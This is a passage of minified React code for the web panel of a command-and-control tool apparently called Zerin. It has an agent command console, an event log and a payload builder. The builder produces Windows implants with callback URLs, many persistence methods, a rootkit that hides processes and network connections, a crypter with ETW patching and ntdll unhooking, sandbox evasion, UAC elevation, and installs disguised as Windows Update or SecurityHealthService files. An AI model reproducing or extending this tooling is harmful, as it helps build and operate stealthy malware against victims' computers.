transition-colors`,children:L},L))})]})}),U&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:U}),s.jsxs("form",{onSubmit:ve,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:xe,type:"text",value:x,onChange:L=>g(L.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5 text-zerin-text font-mono text-sm placeholder-zerin-text-muted focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium px-4 py-1.5 disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(yj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>I(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>_(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:L=>L.stopPropagation(),children:[s.jsxs("button",{onClick:()=>_(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim hover:text-zerin-text text-sm transition-colors px-2 py-1 hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function vn({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:` px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} `,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function wp({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Qt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const KS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},P2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},QU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function JU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await DE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(ld);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(E2,{label:"All",active:i==="all",onClick:()=>a("all")}),QU.map(m=>s.jsx(E2,{label:KS[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(eV,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function eV({event:e,expanded:t,onToggle:n}){const r=P2[e.severity]||P2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:KS[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:KA(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function E2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:` px-3 py-1 text-xs font-medium border transition-all duration-150 ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} `,children:e})}const A2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function _2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const O2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],tV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function nV(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(hj,mj),g=x.status==="building",[y,v]=p.useState(_2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,_]=p.useState(""),[A,O]=p.useState(A2),[P,I]=p.useState(!1),[U,D]=p.useState("exe"),[M,F]=p.useState(0),[R,W]=p.useState(!0),[$,H]=p.useState(!0),[X,se]=p.useState(!0),[ue,ge]=p.useState(!0),[xe,Y]=p.useState(1),[ee,C]=p.useState("Microsoft\\WindowsUpdate"),[K,ne]=p.useState("SecurityHealthService.exe"),[B,ie]=p.useState(null),ve=p.useCallback(async()=>{try{const q=await BE();t(q)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{ve(),FE().then(q=>{w(te=>te.length===1&&te[0]===""?[q.default_callback_url]:te)}).catch(()=>{})},[ve]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const q=setInterval(()=>{const me=Math.floor((Date.now()-x.startedAt)/1e3);u(me);const V=Math.min(95,Math.floor(100*(1-Math.exp(-me/50))));l(V)},500),te=Math.floor((Date.now()-x.startedAt)/1e3);return u(te),l(Math.min(95,Math.floor(100*(1-Math.exp(-te/50))))),()=>clearInterval(q)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Kg(),ve()):x.status==="error"&&(f(x.error||"Failed to build payload"),Kg())},[x.status]),p.useEffect(()=>{if(!m)return;const q=setTimeout(()=>h(""),4e3);return()=>clearTimeout(q)},[m]);function we(){v(_2()),k("30"),N("25"),_(""),O(A2),I(!1),D("exe"),F(0),W(!0),H(!0),se(!0),ge(!0),Y(1),C("Microsoft\\WindowsUpdate"),ne("SecurityHealthService.exe")}async function _e(q){q.preventDefault(),f("");const te=b.filter(Z=>Z.trim()!=="");let me=0;z&&(me=Math.floor(new Date(z).getTime()/1e3));const V={name:y.trim(),callback_urls:te,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:me,user_agent:A.trim(),output_format:U,debug:P,persist_methods:M||void 0,rootkit_enabled:R,encryption_enabled:$,anti_vm:X,auto_elevate:ue,install_dir:xe,install_subdir:ee,install_filename:K};AA(V.name);try{await $E(V),_A(),we()}catch(Z){Z instanceof di?Hg(Z.message):Hg("Failed to build payload")}}async function L(q){const te=rt();if(!te){f("Not authenticated");return}try{const me=await fetch(`/api/payloads/${q.payload_id}/download`,{headers:{Authorization:`Bearer ${te}`}});if(!me.ok){f("Download failed");return}const V=await me.blob(),Z=URL.createObjectURL(V),fe=document.createElement("a");fe.href=Z;const E=me.headers.get("content-disposition"),oe=E==null?void 0:E.match(/filename="(.+?)"/);fe.download=(oe==null?void 0:oe[1])||`${q.name||"payload"}.exe`,document.body.appendChild(fe),fe.click(),document.body.removeChild(fe),URL.revokeObjectURL(Z)}catch{f("Download failed")}}async function de(q){try{await WE(q),ie(null),ve()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:` text-sm font-medium px-4 py-2 transition-all duration-150 ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} `,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:_e,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(pr,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:q=>v(q.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})}),s.jsx(pr,{label:"Output Format",children:s.jsxs("select",{value:U,onChange:q=>{const te=q.target.value;D(te),te==="exe"&&F(me=>me&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(pr,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:q=>k(q.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200\r [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(pr,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:q=>N(q.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(pr,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:q=>_(q.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200\r [color-scheme:dark]`})})]}),s.jsx(pr,{label:"User Agent",children:s.jsx("input",{type:"text",value:A,onChange:q=>O(q.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})}),s.jsx(pr,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:tV.map(q=>{const te=q.dllOnly&&U==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors ${te?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(M&q.flag)!==0,disabled:te,onChange:me=>{F(me.target.checked?M|q.flag:M&~q.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:q.label}),q.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),te&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},q.flag)})})}),s.jsx(pr,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:xe,onChange:q=>Y(parseInt(q.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:ee,onChange:q=>C(q.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:K,onChange:q=>ne(q.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})]})]})}),s.jsxs(pr,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:R,onChange:q=>W(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:$,onChange:q=>H(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 ${$?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:X,disabled:!$,onChange:q=>se(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:ue,onChange:q=>ge(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>I(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer ${P?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 ${P?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r px-5 py-2 transition-all duration-150\r disabled:opacity-50 disabled:cursor-not-allowed\r flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(O2.filter(q=>q.at<=o).pop()??O2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(q=>{let te={};try{te=JSON.parse(q.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:q.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[te.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[te.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:q.agent_pubkey,children:[(q.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:q.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:No(q.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:km(q.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>L(q),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),B===q.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>de(q.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>ie(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>ie(q.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 